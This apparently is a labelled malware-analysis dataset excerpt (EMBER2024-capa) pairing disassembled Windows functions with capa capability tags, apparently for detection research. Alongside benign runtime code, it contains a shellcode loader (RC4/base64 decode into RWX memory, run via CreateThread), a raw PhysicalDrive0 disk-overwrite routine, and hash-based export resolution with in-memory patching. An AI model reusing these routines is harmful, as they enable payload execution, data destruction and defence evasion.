joyce8/EMBER2024-capa huggingface dataset:
Function at 0x506d9b
Capabilities:
Query environment variable

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov eax, dword [0x0052e800]
mov dword [0x0058938c], eax
mov eax, dword [0x0058938c]
mov dword [0x00589388], eax
mov qword [0x00589370], 0
lea rcx, str.POSIXLY_CORRECT
call sub.msvcrt.dll_getenv
mov qword [0x00589380], rax
mov rax, qword [rbp + 0x20]
movzx eax, byte [rax]
cmp al, 0x2d
jne 0x506e00
mov dword [0x00589378], 2
add qword [rbp + 0x20], 1
jmp 0x506e3e
mov rax, qword [rbp + 0x20]
movzx eax, byte [rax]
cmp al, 0x2b
jne 0x506e1c
mov dword [0x00589378], 0
add qword [rbp + 0x20], 1
jmp 0x506e3e
mov rax, qword [0x00589380]
test rax, rax
je 0x506e34
mov dword [0x00589378], 0
jmp 0x506e3e
mov dword [0x00589378], 1
mov rax, qword [rbp + 0x20]
add rsp, 0x20
pop rbp
ret
Function at 0x50a230
Capabilities:
Get common file path

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov rax, qword [0x005893a0]
test rax, rax
jne 0x50a2c8
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetTempPathA]
call rax
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
je 0x50a2a9
mov eax, dword [rbp - 4]
mov rcx, rax
call fcn.0050c076
mov qword [0x005893a0], rax
mov rdx, qword [0x005893a0]
mov eax, dword [rbp - 4]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_GetTempPathA]
call rax
test eax, eax
jne 0x50a2a9
mov rax, qword [0x005893a0]
mov rcx, rax
call sub.msvcrt.dll_free
mov qword [0x005893a0], 0
mov rax, qword [0x005893a0]
test rax, rax
jne 0x50a2c8
lea rcx, [0x0056a870]
call fcn.0050c190
mov qword [0x005893a0], rax
mov rax, qword [0x005893a0]
add rsp, 0x30
pop rbp
ret

Function at 0x50cc20
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
mov rsi, rcx
mov ecx, dword [0x00589a04]
mov rdi, rdx
mov rbp, r8
test ecx, ecx
jle 0x50cd40
mov rax, qword [0x00589a08]
xor ebx, ebx
add rax, 0x18
mov rdx, qword [rax]
cmp rsi, rdx
jb 0x50cc6c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rsi, rdx
jb 0x50cd26
add ebx, 1
add rax, 0x28
cmp ebx, ecx
jne 0x50cc50
mov rcx, rsi
call fcn.0050d860
test rax, rax
mov r12, rax
je 0x50cd78
movsxd rbx, ebx
lea rbx, [rbx + rbx*4]
shl rbx, 3
mov r13, rbx
add r13, qword [0x00589a08]
mov qword [r13 + 0x20], rax
mov dword [r13], 0
call fcn.0050d9b0
mov edx, dword [r12 + 0xc]
mov r8d, 0x30
add rax, rdx
lea rdx, [rsp + 0x20]
mov qword [r13 + 0x18], rax
mov rax, qword [0x00589a08]
mov rcx, qword [rax + rbx + 0x18]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x50cd5b
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x50cd1f
sub eax, 0x40
and eax, 0xffffffbf
je 0x50cd1f
add rbx, qword [0x00589a08]
mov rcx, qword [rsp + 0x20]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x50cd47
add dword [0x00589a04], 1
mov r8, rbp
mov rdx, rdi
mov rcx, rsi
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp sub.msvcrt.dll_memcpy
xor ebx, ebx
jmp 0x50cc77
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.0050cbb0
mov rax, qword [0x00589a08]
mov edx, dword [r12 + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.0050cbb0
lea rcx, str.Address__p_has_no_image_section
mov rdx, rsi
call fcn.0050cbb0
nop
nop dword [rax + rax]
Function at 0x50d4d0
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00589ce0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x00589cc0]
test rbx, rbx
je 0x50d524
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x50d51b
test rsi, rsi
je 0x50d51b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x50d500
lea rcx, [0x00589ce0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x50d860
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x0056b640]
xor edx, edx
mov r8, rcx
cmp word [r9], 0x5a4d
je 0x50d880
mov rax, rdx
add rsp, 0x28
ret
mov rcx, r9
call fcn.0050d740
test eax, eax
je 0x50d878
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add rax, r9
movzx edx, word [rax + 0x14]
lea rdx, [rax + rdx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x50d8dd
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x50d8d4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x50d878
add rdx, 0x28
cmp rdx, r9
jne 0x50d8c0
xor edx, edx
mov rax, rdx
add rsp, 0x28
ret
Function at 0x50dbb0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x138
mov rbx, rcx
call sub.msvcrt.dll__errno
test rbx, rbx
mov dword [rax], 0
je 0x50dd3c
cmp byte [rbx], 0
je 0x50dd04
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x50dd20
test al, 0x10
je 0x50dd04
lea rdi, [rsp + 0x20]
mov r8d, 0x104
mov rdx, rbx
mov rcx, rdi
mov rsi, rdi
call sub.msvcrt.dll__fullpath
mov edx, dword [rsi]
add rsi, 4
lea eax, [rdx - 0x1010101]
not edx
and eax, edx
and eax, 0x80808080
je 0x50dc0e
mov edx, eax
shr edx, 0x10
test eax, 0x8080
cmove eax, edx
lea rdx, [rsi + 2]
mov ecx, eax
cmove rsi, rdx
add cl, al
sbb rsi, 3
sub rsi, rdi
lea rcx, [rsi + 0x24b]
call sub.msvcrt.dll_malloc
test rax, rax
mov rbx, rax
je 0x50dd2f
lea r9, [rax + 0x244]
lea rbp, [rsi + 1]
mov rdx, rdi
mov rcx, r9
mov r8, rbp
call sub.msvcrt.dll_memcpy
cmp byte [rbx + 0x244], 0
mov r9, rax
je 0x50dca0
movzx eax, byte [rbx + rsi + 0x243]
cmp al, 0x2f
je 0x50dca0
cmp al, 0x5c
je 0x50dca0
mov r8d, 0x5c
mov word [r9 + rsi], r8w
mov rsi, rbp
mov eax, 0x2a
xor edx, edx
xor ecx, ecx
mov word [r9 + rsi], ax
mov word [rbx + 0x12c], dx
lea rdx, [rbx + 0x130]
mov word [rbx + 0x12e], cx
xor eax, eax
mov ecx, 0x20
mov rdi, rdx
mov qword [rbx + 0x238], 0xffffffffffffffff
mov dword [rbx + 0x240], 0
mov dword [rbx + 0x128], 0
rep stosq qword [rdi], rax
mov dword [rdi], 0
mov rax, rbx
add rsp, 0x138
pop rbx
pop rsi
pop rdi
pop rbp
ret
xor ebx, ebx
call sub.msvcrt.dll__errno
mov dword [rax], 0x14
mov rax, rbx
add rsp, 0x138
pop rbx
pop rsi
pop rdi
pop rbp
ret
call sub.msvcrt.dll__errno
xor ebx, ebx
mov dword [rax], 2
jmp 0x50dcf5
call sub.msvcrt.dll__errno
mov dword [rax], 0xc
jmp 0x50dcf5
call sub.msvcrt.dll__errno
mov dword [rax], 0xe
jmp 0x50dcf5
Function at 0x40b170
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x0041b624]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x40b2f8
mov rax, qword [0x0041b628]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x40b1bc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x40b245
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x40b1a0
mov rcx, rbx
call fcn.0040be10
test rax, rax
mov r12, rax
je 0x40b32d
mov rax, qword [0x0041b628]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call fcn.0040bf40
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x0041b628]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x40b310
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x40b23e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x40b2a0
add dword [0x0041b624], 1
cmp edi, 8
jae 0x40b273
test dil, 4
jne 0x40b2e4
test edi, edi
je 0x40b268
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x40b2ff
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x40b268
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x40b28c
jmp 0x40b268
add rsi, qword [0x0041b628]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x40b23e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.00413c50
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x40b268
xor esi, esi
jmp 0x40b1c7
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x40b268
mov rax, qword [0x0041b628]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call fcn.00413c50
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.00413c50
nop
nop dword [rax]

Function at 0x40ba80
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x0041b900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x0041b8e0]
test rbx, rbx
je 0x40bad4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x40bacb
test rsi, rsi
je 0x40bacb
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x40bab0
lea rcx, [0x0041b900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x40be10
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00417ba0]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x40be7d
mov rcx, r8
call fcn.0040bcf0
test eax, eax
je 0x40be7d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x40be7d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x40be74
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x40be7f
add rax, 0x28
cmp rax, r9
jne 0x40be60
xor eax, eax
add rsp, 0x28
ret

Function at 0x411990
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
sub rsp, 0x130
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xc0], rcx
mov qword [rbp + 0xc8], rdx
mov qword [rbp + 0xd0], r8
mov dword [rbp + 0xd8], r9d
mov ecx, dword [rbp + 0xd8]
mov rdx, qword [rbp + 0xd0]
lea rax, [rbp - 0x60]
mov r8d, ecx
mov rcx, rax
call fcn.004118c0
mov edx, dword [rbp + 0xe0]
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.00411ad0
mov qword [rbp + 0xa0], rax
mov dword [rbp + 0xa8], 0
mov eax, dword [rbp + 0xa8]
cmp dword [rbp + 0xe0], eax
jbe 0x411a56
mov eax, dword [rbp + 0xa8]
cdqe
mov rdx, qword [rbp + 0xc0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0xa8]
cdqe
mov rdx, qword [rbp + 0xa0]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0xa8]
cdqe
mov rdx, qword [rbp + 0xc8]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0xa8], 1
jmp 0x4119fb
lea rcx, str._______ciphertext____________n
call fcn.00411c10
mov dword [rbp + 0xac], 0
mov eax, dword [rbp + 0xac]
cmp dword [rbp + 0xe0], eax
jbe 0x411aa9
mov eax, dword [rbp + 0xac]
cdqe
mov rdx, qword [rbp + 0xc8]
add rax, rdx
movzx eax, byte [rax]
movzx eax, al
mov edx, eax
lea rcx, str.x_02hhx
call fcn.00411c10
add dword [rbp + 0xac], 1
jmp 0x411a6c
lea rcx, [0x00415027]
call fcn.00411c10
mov rax, qword [rbp + 0xc8]
add rsp, 0x130
pop rbp
ret

Function at 0x411c70
Capabilities:
Decode data using base64 via winapi

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov qword [rbp + 0x20], r8
mov dword [rbp + 0x28], r9d
mov eax, dword [rbp + 0x28]
mov dword [rbp - 8], eax
mov rcx, qword [rbp + 0x20]
mov edx, dword [rbp + 0x18]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rax, [rbp - 8]
mov qword [rsp + 0x20], rax
mov r9, rcx
mov r8d, 1
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
call rax
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
jne 0x411cd5
mov dword [rbp - 8], 0
mov eax, dword [rbp - 8]
add rsp, 0x50
pop rbp
ret
Function at 0x4138c0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push rbp
sub rsp, 0x540
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x4d0], ecx
mov qword [rbp + 0x4d8], rdx
call fcn.0040ad00
lea rax, [0x0041502a]
mov qword [rbp + 0x4b0], rax
lea rax, [rbp - 0x30]
lea rdx, [0x00415050]
mov ecx, 0x4a9
mov r8, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
lea rax, [rbp - 0x30]
mov qword [rbp + 0x4a8], rax
mov ecx, 0x4a8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x4a0], rax
mov rax, qword [rbp + 0x4b0]
mov rcx, rax
call sub.msvcrt.dll_strlen
mov r8d, eax
mov rcx, qword [rbp + 0x4b0]
mov rdx, qword [rbp + 0x4a0]
mov rax, qword [rbp + 0x4a8]
mov dword [rsp + 0x20], 0x4a8
mov r9d, r8d
mov r8, rcx
mov rcx, rax
call fcn.00411990
mov dword [rbp + 0x49c], 0x800
mov eax, dword [rbp + 0x49c]
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x490], rax
mov r8d, dword [rbp + 0x49c]
mov rcx, qword [rbp + 0x490]
mov edx, dword [rbp + 0x49c]
mov rax, qword [rbp + 0x4a0]
mov r9d, r8d
mov r8, rcx
mov rcx, rax
call fcn.00411c70
mov dword [rbp - 0x34], 0x800
mov eax, dword [rbp - 0x34]
mov eax, eax
mov rcx, rax
call fcn.004132d0
mov qword [rbp - 0x40], rax
mov dword [rbp + 0x4bc], 0
mov edx, dword [rbp + 0x4bc]
mov eax, dword [rbp - 0x34]
cmp edx, eax
jae 0x413a0c
mov eax, dword [rbp + 0x4bc]
cdqe
mov rdx, qword [rbp + 0x490]
add rax, rdx
movzx ecx, byte [rax]
mov rdx, qword [rbp - 0x40]
mov eax, dword [rbp + 0x4bc]
cdqe
add rax, rdx
mov edx, ecx
mov byte [rax], dl
add dword [rbp + 0x4bc], 1
jmp 0x4139ce
lea rcx, str._________payload__________n
call fcn.00411c10
mov dword [rbp + 0x4b8], 0
mov edx, dword [rbp + 0x4b8]
mov eax, dword [rbp - 0x34]
cmp edx, eax
jae 0x413a5b
mov rdx, qword [rbp - 0x40]
mov eax, dword [rbp + 0x4b8]
cdqe
add rax, rdx
movzx eax, byte [rax]
movzx eax, al
mov edx, eax
lea rcx, str._02hhx
call fcn.00411c10
add dword [rbp + 0x4b8], 1
jmp 0x413a22
lea rcx, [0x00415027]
call fcn.00411c10
mov eax, dword [rbp - 0x34]
add eax, 1
mov eax, eax
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 0x48], rax
mov eax, dword [rbp - 0x34]
mov ecx, eax
mov rdx, qword [rbp - 0x40]
mov rax, qword [rbp - 0x48]
mov r8, rcx
mov rcx, rax
call sub.msvcrt.dll_memmove
mov rax, qword [rbp - 0x48]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0x488], rax
mov rax, qword [rbp + 0x488]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x488]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x540
pop rbp
ret
Function at 0x413c50
Capabilities:
Write file on windows

Disassembly:
lea rcx, [0x00401540]
jmp fcn.00401510
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.00411630
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.00411630
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop
nop
nop
nop
nop
nop
nop
jmp 0x401530
Function at 0x140001000
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x478
mov rax, qword [0x140003008]
xor rax, rsp
mov qword [rsp + 0x460], rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x14000103d
mov eax, 1
jmp 0x1400010cf
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 3
mov edx, 0xc0000000
lea rcx, str..PhysicalDrive0
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x140001090
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
jmp 0x1400010cf
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x50]
mov r8d, 0x400
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteFile]
movzx eax, al
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
mov rcx, qword [rsp + 0x460]
xor rcx, rsp
call fcn.140001180
add rsp, 0x478
ret
Function at 0x140006420
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x18], 0
je 0x140006443
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x55]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x17
jb 0x140006430
mov byte [rcx + 0x18], 0
ret

Function at 0x140006450
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x15], 0
je 0x140006473
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x55]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x14
jb 0x140006460
mov byte [rcx + 0x15], 0
ret

Function at 0x140006480
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xc], 0
je 0x1400064a3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x55]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xb
jb 0x140006490
mov byte [rcx + 0xc], 0
ret

Function at 0x1400064b0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x13], 0
je 0x1400064d3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x55]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x12
jb 0x1400064c0
mov byte [rcx + 0x13], 0
ret
Function at 0x140006b10
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 6], 0
je 0x140006b33
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x55]
xor byte [rax + rcx], dl
inc rax
cmp rax, 5
jb 0x140006b20
mov byte [rcx + 6], 0
ret

Function at 0x140006b40
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 3], 0
je 0x140006b63
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x55]
xor byte [rax + rcx], dl
inc rax
cmp rax, 2
jb 0x140006b50
mov byte [rcx + 3], 0
ret

Function at 0x140007b20
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 7], 0
je 0x140007b43
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x55]
xor byte [rax + rcx], dl
inc rax
cmp rax, 6
jb 0x140007b30
mov byte [rcx + 7], 0
ret
Function at 0x140009c00
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xa], 0
je 0x140009c23
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x57]
xor byte [rax + rcx], dl
inc rax
cmp rax, 9
jb 0x140009c10
mov byte [rcx + 0xa], 0
ret

Function at 0x140009c30
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xf], 0
je 0x140009c53
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x57]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xe
jb 0x140009c40
mov byte [rcx + 0xf], 0
ret

Function at 0x140009c60
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x12], 0
je 0x140009c83
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x57]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x11
jb 0x140009c70
mov byte [rcx + 0x12], 0
ret

Function at 0x140009c90
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x14], 0
je 0x140009cb3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x57]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x13
jb 0x140009ca0
mov byte [rcx + 0x14], 0
ret
Function at 0x14000b190
Capabilities:
Access peb ldr_data
Encode data using xor
Get ntdll base address
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x40
mov rax, qword [0x14009b080]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x28], 0xba49
mov rbp, rcx
mov dword [rsp + 0x30], 0xff410000
mov byte [rsp + 0x34], 0xe2
mov qword [rsp + 0x20], rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov esi, dword [rcx + rbx + 0x88]
add rsi, rbx
cmp rsi, rbx
je 0x14000b26a
mov r11d, dword [rsi + 0x18]
test r11d, r11d
je 0x14000b26a
mov r14d, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r11d
mov r10d, 0x71cd7eee
lea rcx, [r14 + r11*4]
mov r8d, dword [rcx + rbx]
add r8, rbx
movzx r9d, byte [r8]
inc r8
test r9b, r9b
je 0x14000b265
movsx ecx, r9b
lea r8, [r8 + 1]
sub r9b, 0x41
mov edx, ecx
or edx, 0x20
cmp r9b, 0x19
movzx r9d, byte [r8 - 1]
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
test r9b, r9b
jne 0x14000b230
cmp r10d, 0x89daefc3
je 0x14000b272
test r11d, r11d
jne 0x14000b210
mov rax, qword [rax]
jmp 0x14000b1e0
mov ecx, dword [rsi + 0x24]
mov r8d, 8
add rcx, rbx
movzx edx, word [rcx + r11*2]
mov ecx, dword [rsi + 0x1c]
add rcx, rbx
mov eax, dword [rcx + rdx*4]
lea rdx, [rsp + 0x20]
add rax, rbx
lea rcx, [rsp + 0x2a]
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov esi, dword [rcx + rbx + 0x88]
add rsi, rbx
cmp rsi, rbx
je 0x14000b33d
mov r11d, dword [rsi + 0x18]
test r11d, r11d
je 0x14000b33d
mov r14d, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r11d
mov r10d, 0x19078386
lea rcx, [r14 + r11*4]
mov ecx, dword [rcx + rbx]
add rcx, rbx
movzx r9d, byte [rcx]
inc rcx
test r9b, r9b
je 0x14000b338
nop
movsx edx, r9b
lea rcx, [rcx + 1]
sub r9b, 0x41
mov r8d, edx
or r8d, 0x20
cmp r9b, 0x19
movzx r9d, byte [rcx - 1]
cmova r8d, edx
xor r8d, r10d
imul r10d, r8d, 0x1000193
test r9b, r9b
jne 0x14000b300
cmp r10d, 0x2b0a01eb
je 0x14000b345
test r11d, r11d
jne 0x14000b2e0
mov rax, qword [rax]
jmp 0x14000b2b0
mov edx, dword [rsi + 0x24]
mov rcx, rbp
add rdx, rbx
movzx r8d, word [rdx + r11*2]
mov edx, dword [rsi + 0x1c]
add rdx, rbx
mov eax, dword [rdx + r8*4]
mov r8d, reloc.WS2_32.dll_listen
add rax, rbx
lea rdx, [rsp + 0x28]
call rax
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140075200
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret